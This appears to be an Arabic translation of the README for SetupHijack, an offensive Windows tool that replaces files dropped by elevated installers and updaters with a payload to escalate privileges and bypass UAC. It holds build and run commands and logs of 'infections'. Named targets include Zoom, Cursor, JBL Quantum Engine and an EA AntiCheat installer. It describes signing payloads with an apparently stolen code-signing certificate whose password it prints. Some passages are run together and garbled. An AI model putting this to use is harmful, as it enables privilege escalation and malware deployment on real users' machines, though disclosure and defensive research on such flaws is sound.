
SetupHijack هي أداة بحث أمني تستغل حالات السباق والتعامل غير الآمن مع الملفات في عمليات تثبيت وتحديث تطبيقات ويندوز.
SetupHijack هي أداة بحث أمني تستغل حالات السباق والتعامل غير الآمن مع الملفات في عمليات التثبيت والتحديث في نظام Windows. تستهدف السيناريوهات التي تُسقط فيها برامج التثبيت أو التحديث ذات الصلاحيات المرتفعة ملفات في %TEMP% أو مواقع أخرى قابلة للكتابة من الجميع، مما يسمح للمهاجم باستبدال هذه الملفات قبل تنفيذها بصلاحيات مرتفعة.
.exe و.msi والملفات الدفعية (مثل sysinfo وnetstat وipconfig).الاستخدام المقصود لهذه الأداة هو التشغيل في الخلفية على حساب مستخدم مخترق يتمتع بصلاحيات، من أجل رفع صلاحيات عملية أخرى عبر اختطاف الملفات التي يُسقطها المثبّت أو المحدّث.
يوضح المخطط أدناه حالات استخدام واقعية لهذا الاستغلال في سيناريوهات متعددة يمكن استخدامها لتجاوز UAC. يُعتبر تجاوز UAC حدًا أمنيًا عند التشغيل في وضع Adminless، وهو "متطلب شائع للمهاجم" لتعطيل الضوابط الأمنية. استغلال عمليات المسؤول المتميز يوفر وصولًا استغلاليًا عامًا للكود الضار للتحميل الجانبي أو تصعيد صلاحيات العمليات. يمكن استخدام هذه الأداة لتحديد تطبيقات إضافية معرضة لنفس أنواع المخاطر، إذ يمكن للمهاجم انتظار تنفيذ هذه العمليات كوسيلة للحصول على صلاحيات مرتفعة دون تعطيل سلوكيات المستخدم.

%TEMP% (والمجلدات الفرعية) باستمرار بحثًا عن ملفات التثبيت الجديدة أو المعدّلة..bak.يستخدم هذا المشروع عملية توقيع كود مخترقة مع SignToolEx.exe and SignToolExHook.dll لتوقيع الحمولات والمثبّتين. استخدام شهادات توقيع كود صالحة وطابع زمني Authenticode سيزيد من معدل نجاحك عند تجاوز فحوصات الثقة الخاصة بالمثبّت ونظام التشغيل.
nmake PAYLOAD=c:\Path\to\your\payload.exe
### تشغيل (خيارات)```sh
SetupHijack.exe # Scan %TEMP%, %APPDATA%, and %USERPROFILE%\Downloads (default)
SetupHijack.exe -notemp # Disable scanning %TEMP%
SetupHijack.exe -noappdata # Disable scanning %APPDATA%
SetupHijack.exe -nodownloads # Disable scanning %USERPROFILE%\Downloads
SetupHijack.exe clean # Clean mode (restores .bak backups in all enabled locations)
SetupHijack.exe verbose # Verbose mode (log all actions)
SetupHijack.exe <payload.exe> # Use specified payload for .exe (unless argument is a recognized option)
-notemp أو -noappdata أو -nodownloads.clean على استعادة النسخ الاحتياطية في جميع المواقع الممكّنة. وتسجّل علامة verbose جميع الإجراءات.shadow.exe أو أدوات مشابهة في خدمات المحطة الطرفية.%TEMP% ونفّذها بصلاحيات مرتفعة، فسيتم استبدال حمولتك وتشغيلها.فيما يلي مثال حقيقي لبناء وتشغيل SetupHijack، بما في ذلك توقيع الكود ومخرجات الإصابة:``` C:\Users\Fantastic\Desktop\Sayuri\InfectElevatedSetups>nmake PAYLOAD="C:\USers\Fantastic\Desktop\DEMO\Renge_x64.exe"
Microsoft (R) Program Maintenance Utility Version 14.29.30159.0 Copyright (C) Microsoft Corporation. All rights reserved.
powershell -Command "(Get-Content SetupHijack.cpp) -replace '#define PAYLOAD_PATH L\".*\"', '#define PAYLOAD_PATH L\"%ESCAPED_PAYLOAD%\"' | Set-Content SetupHijack.cpp"
cl /nologo /W4 /EHsc /DUNICODE /D_UNICODE /MT /O2 /c SetupHijack.cpp
SetupHijack.cpp
SetupHijack.cpp(318): warning C4189: 'hr2': local variable is initialized but not referenced
taskkill /f /im SetupHijack.exe 2>nul
powershell -Command "Start-Sleep -Milliseconds 500"
link /nologo /SUBSYSTEM:CONSOLE /ENTRY:wmainCRTStartup /NODEFAULTLIB:MSVCRT /NODEFAULTLIB:MSVCPRT /OUT:SetupHijack.exe SetupHijack.obj kernel32.lib user32.lib shlwapi.lib Shell32.lib /MANIFEST /MANIFESTFILE:SetupHijack.exe.manifest
copy /y install.wxs.template install.wxs
1 file(s) copied.
powershell -Command "(Get-Content install.wxs) -replace 'Source="PAYLOAD_PLACEHOLDER"', 'Source="%ESCAPED_PAYLOAD%"' | Set-Content install.wxs"
wix build install.wxs -o install.msi
Generating install.bat with payload C:\USers\Fantastic\Desktop\DEMO\Renge_x64.exe
Generating launch_payload.bat with payload C:\USers\Fantastic\Desktop\DEMO\Renge_x64.exe
powershell -Command "(Get-Content install.wxs) -replace '(<File Id="RengeExeFile" Source=").*?(" KeyPath="yes"/>)', '%ESCAPED_PAYLOAD%' | Set-Content install.wxs"
call sign_random.bat
Using CERT: [certs\rockstar1.pfx]
Using PASS: [C!EZxYUxVGPzQDj3]
The following certificate was selected:
Issued to: Rockstar Games, Inc.
Issued by: Entrust Code Signing CA - OVCS1
Expires: Thu Mar 20 17:16:13 3000
SHA1 hash: C9793F4A2E629D88F2213622D7A0C170D9C7CBC6
Done Adding Additional Store Successfully signed: SetupHijack.exe
Number of files successfully Signed: 1 Number of warnings: 0 Number of errors: 0 The following certificate was selected: Issued to: Rockstar Games, Inc. Issued by: Entrust Code Signing CA - OVCS1 Expires: Thu Mar 20 17:16:13 3000 SHA1 hash: C9793F4A2E629D88F2213622D7A0C170D9C7CBC6
Done Adding Additional Store Successfully signed: install.msi
Number of files successfully Signed: 1 Number of warnings: 0 Number of errors: 0
C:\Users\Fantastic\Desktop\Sayuri\InfectElevatedSetups>SetupHijack.exe
[2025-09-24 15:20:46] [SetupHijack] Using payload: C:\USers\Fantastic\Desktop\DEMO\Renge_x64.exe
[2025-09-24 15:20:46] [SetupHijack] If infecting .msi, will use: install.msi
[2025-09-24 15:20:46] [SetupHijack] Polling enabled locations recursively for .exe, .msi, .bat:
[2025-09-24 15:20:46] - C:\Users\FANTAS1\AppData\Local\Temp
[2025-09-24 15:20:46] - C:\Users\Fantastic\AppData\Roaming
[2025-09-24 15:20:46] - C:\Users\Fantastic\Downloads
[2025-09-24 15:20:46] [SetupHijack] Entering infection loop.
[2025-09-24 15:20:59] [SetupHijack] Total infections this session: 0
[2025-09-24 15:21:13] [SetupHijack] Replaced C:\Users\FANTAS1\AppData\Local\Temp\installcmd.bat with payload install.bat, backup: C:\Users\FANTAS~1\AppData\Local\Temp\installcmd.bat.bak
[2025-09-24 15:21:13] [SetupHijack] New infections this run: 1
[2025-09-24 15:21:22] [SetupHijack] Replaced C:\Users\Fantastic\Downloads\installcmd.msi with payload install.msi, backup: C:\Users\Fantastic\Downloads\installcmd.msi.bak
[2025-09-24 15:21:26] [SetupHijack] New infections this run: 1
[2025-09-24 15:21:26] [SetupHijack] Total infections this session: 2
[2025-09-24 15:21:41] [SetupHijack] Replaced C:\Users\Fantastic\AppData\Roaming\InsecureApp\setup.exe with payload C:\USers\Fantastic\Desktop\DEMO\Renge_x64.exe, backup: C:\Users\Fantastic\AppData\Roaming\InsecureApp\setup.exe.bak
[2025-09-24 15:21:41] [SetupHijack] New infections this run: 1
[2025-09-24 15:21:53] [SetupHijack] Total infections this session: 3
## مثال لاستخدام نشر أداة اختراق
فيما يلي لقطة شاشة توضح SetupHijack أثناء العمل، حيث ينشر أداة الاختراق أثناء تشغيل مُثبِّت بصلاحيات مرتفعة:

## ملاحظات أمنية
- هذه الأداة مخصصة للاختبار والبحث المصرح بهما فقط.
- استغلال هذه الثغرات يمكن أن يؤدي إلى اختراق كامل للنظام (SYSTEM) عندما يكون المستخدم في مجموعة المسؤولين (Administrator).
- قد تستخدم برامج التثبيت فحوصات التجزئة/التوقيع التي ستمنع هذا الهجوم، لكن الكثير منها ما زال لا يفعل ذلك.
- استخدم دائمًا في بيئة خاضعة للتحكم.
- إذا اكتشفت ثغرة CVE أو حصلت على مكافأة باستخدام هذه الأداة، فامنحنا الفضل!
استهداف دليل واحد (مثل `%TEMP%`) في كل مرة يمكن أن يزيد من احتمالية الفوز في أي حالة سباق من نوع time-of-creation/time-of-use (TOCTOU)، حيث يتيح استطلاعًا أسرع وتنافسًا أقل. لتحقيق أقصى موثوقية، قم بتشغيل مثيلات متعددة من SetupHijack، كل منها يركز على دليل واحد. للحصول على أفضل النتائج، تأكد من أن حمولتك (ملف EXE الذي تريد تشغيله بصلاحيات مرتفعة) يتضمن بيانًا يطلب رفع الصلاحيات (requireAdministrator)، وأنه موقّع بشهادة توقيع كود صالحة تتضمن طابعًا زمنيًا Authenticode. هذا يزيد من فرصة تجاوز فحوصات الثقة الخاصة ببرامج التثبيت ونظام التشغيل على برامج التثبيت.
## الثغرات المكتشفة
القائمة التالية غير الحصرية تم تحديدها مع "أفضل السيناريوهات" لتشغيل ملفات .MSI غير الموثوقة مما يؤدي إلى "NT AUTHORITY\SYSTEM" لكن العديد من عمليات "UAC المرتفعة" غالبًا ما تعمل عبر ملفات .bat. نظرًا لأن التنفيذ يحدث تحت نفس USER SID، حيث أن %TEMP% فريد لـ USER SID المبني ضمن %USERPROFILE% كجزء من إنشاء الجلسة الداخلية، يمكنك رفع الصلاحيات داخل أوامر نفس الجلسة إلى نزاهة عالية بصلاحيات كاملة من خلال التلاعب بملف .bat الذي يرث حقوق العملية الأصلية. "تنفيذ أوامر مرتفع عبر ملف مؤقت" هو اكتشاف شائع - ويمكن استخدامه لتجاوز UAC والتنفيذ بدون مسؤول كمستخدم، حيث يظهر موجه المستخدم على سطح المكتب الآمن التطبيق المستغل (مثل تحديث Zoom).
- يستخدم Zoom 6.6.1 (15968) مجلد %AppData% لتثبيت وتحديث ملفات .exe مما يسمح بحركة جانبية للعملية و
انتحال العملية (مثل إرسال طلب رفع صلاحيات من تحديث Zoom). يمكن التلاعب بالملفات التنفيذية بسهولة
لشن هجمات سرقة بيانات الاعتماد ولأغراض خبيثة.```
[2025-09-24 19:27:31] [SetupHijack] Infecting: C:\Users\Fantastic\AppData\Roaming\Zoom\bin\airhost.exe with payload: c:\Users\Fantastic\Desktop\DEMO\Renge_x64.exe
[2025-09-24 19:27:31] [SetupHijack] Infecting: C:\Users\Fantastic\AppData\Roaming\Zoom\bin\aomhost64.exe with payload: c:\Users\Fantastic\Desktop\DEMO\Renge_x64.exe
[2025-09-24 19:27:31] [SetupHijack] Infecting: C:\Users\Fantastic\AppData\Roaming\Zoom\bin\CptControl.exe with payload: c:\Users\Fantastic\Desktop\DEMO\Renge_x64.exe
[2025-09-24 19:27:31] [SetupHijack] Infecting: C:\Users\Fantastic\AppData\Roaming\Zoom\bin\CptHost.exe with payload: c:\Users\Fantastic\Desktop\DEMO\Renge_x64.exe
[2025-09-24 19:27:31] [SetupHijack] Infecting: C:\Users\Fantastic\AppData\Roaming\Zoom\bin\CptInstall.exe with payload: c:\Users\Fantastic\Desktop\DEMO\Renge_x64.exe
[2025-09-24 19:27:31] [SetupHijack] Infecting: C:\Users\Fantastic\AppData\Roaming\Zoom\bin\CptService.exe with payload: c:\Users\Fantastic\Desktop\DEMO\Renge_x64.exe
[2025-09-24 19:27:31] [SetupHijack] Infecting: C:\Users\Fantastic\AppData\Roaming\Zoom\bin\Installer.exe with payload: c:\Users\Fantastic\Desktop\DEMO\Renge_x64.exe
[2025-09-24 19:27:31] [SetupHijack] Infecting: C:\Users\Fantastic\AppData\Roaming\Zoom\bin\zCrashReport.exe with payload: c:\Users\Fantastic\Desktop\DEMO\Renge_x64.exe
[2025-09-24 19:27:31] [SetupHijack] Infecting: C:\Users\Fantastic\AppData\Roaming\Zoom\bin\zCrashReport64.exe with payload: c:\Users\Fantastic\Desktop\DEMO\Renge_x64.exe
[2025-09-24 19:27:31] [SetupHijack] Infecting: C:\Users\Fantastic\AppData\Roaming\Zoom\bin\Zoom.exe with payload: c:\Users\Fantastic\Desktop\DEMO\Renge_x64.exe
[2025-09-24 19:27:31] [SetupHijack] Infecting: C:\Users\Fantastic\AppData\Roaming\Zoom\bin\ZoomDocConverter.exe with payload: c:\Users\Fantastic\Desktop\DEMO\Renge_x64.exe
[2025-09-24 19:27:31] [SetupHijack] Infecting: C:\Users\Fantastic\AppData\Roaming\Zoom\bin\ZoomHybridConf.exe with payload: c:\Users\Fantastic\Desktop\DEMO\Renge_x64.exe
[2025-09-24 19:27:31] [SetupHijack] Infecting: C:\Users\Fantastic\AppData\Roaming\Zoom\bin\ZoomOutlookIMPlugin.exe with payload: c:\Users\Fantastic\Desktop\DEMO\Renge_x64.exe
[2025-09-24 19:27:31] [SetupHijack] Infecting: C:\Users\Fantastic\AppData\Roaming\Zoom\bin\ZoomOutlookMAPI\ZoomOutlookMAPI.exe with payload: c:\Users\Fantastic\Desktop\DEMO\Renge_x64.exe
[2025-09-24 19:27:31] [SetupHijack] Infecting: C:\Users\Fantastic\AppData\Roaming\Zoom\bin\ZoomOutlookMAPI\ZoomOutlookMAPI64.exe with payload: c:\Users\Fantastic\Desktop\DEMO\Renge_x64.exe
[2025-09-24 19:27:31] [SetupHijack] Infecting: C:\Users\Fantastic\AppData\Roaming\Zoom\bin\Zoom_launcher.exe with payload: c:\Users\Fantastic\Desktop\DEMO\Renge_x64.exe
[2025-09-24 19:27:31] [SetupHijack] Infecting: C:\Users\Fantastic\AppData\Roaming\Zoom\bin\zTscoder.exe with payload: c:\Users\Fantastic\Desktop\DEMO\Renge_x64.exe
[2025-09-24 19:27:31] [SetupHijack] Infecting: C:\Users\Fantastic\AppData\Roaming\Zoom\bin\zUpdater.exe with payload: c:\Users\Fantastic\Desktop\DEMO\Renge_x64.exe
[2025-09-24 19:27:31] [SetupHijack] Infecting: C:\Users\Fantastic\AppData\Roaming\Zoom\bin\zWebview2Agent.exe with payload: c:\Users\Fantastic\Desktop\DEMO\Renge_x64.exe
[2025-09-24 19:27:31] [SetupHijack] Infecting: C:\Users\Fantastic\AppData\Roaming\Zoom\uninstall\Installer.exe with payload: c:\Users\Fantastic\Desktop\DEMO\Renge_x64.exe
[2025-09-24 19:27:31] [SetupHijack] Infecting: C:\Users\Fantastic\AppData\Roaming\Zoom\ZoomDownload\Installer.exe with payload: c:\Users\Fantastic\Desktop\DEMO\Renge_x64.exe
- لوحظ أن بيئة التطوير Cursor IDE تنشئ ملفات .bat وسجل أوامر في %TEMP% يمكن استغلالها لحقن
أوامر في سجل Cursor، مع رفع صلاحيات محدود.
- يحتوي JBL Quantum Engine على ثغرة حقن أوامر (تم إصلاحها الآن) تقوم بتشغيل "net" (بما في ذلك .bat) من
نفس الدليل الذي يُنفَّذ منه JBL_QuantumENGINE_1.11.0.1511_x64. يستخدم الإصدار الأحدث مُثبِّتًا جديدًا
غير معرَّض لهذه الثغرة المحددة لحقن الأوامر (JBL_QuantumENGINE_Installer_2.2.13_x64.exe). تم
اكتشاف هذه المشكلة كثغرة 0day في نوفمبر 2022. يمكن استخدامها لتجاوز قيود UAC والحصول على
صلاحيات Administrator مرتفعة. تكتب خدمة SYSTEM ملفات bat في %TEMP% لأغراض التصحيح/التشخيص. ;-)```
C:\Users\Fantastic\Desktop\Sayuri\JBL_and_WinAudioCore_0day>type net.bat
@echo off
REM install.bat - runs the payload for SetupHijack
start "" "c:\Users\Fantastic\Desktop\DEMO\Renge_x64.exe"
C:\Users\Fantastic\Desktop\Sayuri\JBL_and_WinAudioCore_0day>dir JBL_QuantumENGINE_1.11.0.1511_x64.exe
Volume in drive C has no label.
Volume Serial Number is 48EC-B703
Directory of C:\Users\Fantastic\Desktop\Sayuri\JBL_and_WinAudioCore_0day
11/20/2022 11:54 AM 139,327,096 JBL_QuantumENGINE_1.11.0.1511_x64.exe
1 File(s) 139,327,096 bytes
0 Dir(s) 237,500,821,504 bytes free
09/29/2025 04:34 PM
. 09/29/2025 04:13 PM .. 09/29/2025 04:31 PM 166,999,232 EAAntiCheat.Installer.exe 1 File(s) 166,999,232 bytes 2 Dir(s) 161,991,856,128 bytes freeC:\Program Files (x86)\Steam\steamapps\common\Skate__Installer\EAAntiCheat>cacls EAAntiCheat.Installer.exe C:\Program Files (x86)\Steam\steamapps\common\Skate__Installer\EAAntiCheat\EAAntiCheat.Installer.exe BUILTIN\Users:(ID)F NT AUTHORITY\SYSTEM:(ID)F BUILTIN\Administrators:(ID)F WIN11LAB\Fantastic:(ID)F APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(ID)R APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(ID)R
C:\Program Files (x86)\Steam\steamapps\common\Skate__Installer\EAAntiCheat>copy c:\Users\Fantastic\Documents\Work\EA\launch_demo.exe EAAntiCheat.Installer.exe Overwrite EAAntiCheat.Installer.exe? (Yes/No/All): A 1 file(s) copied.
# الرخصة
هذه الملفات متاحة بموجب رخصة BSD ثلاثية البنود.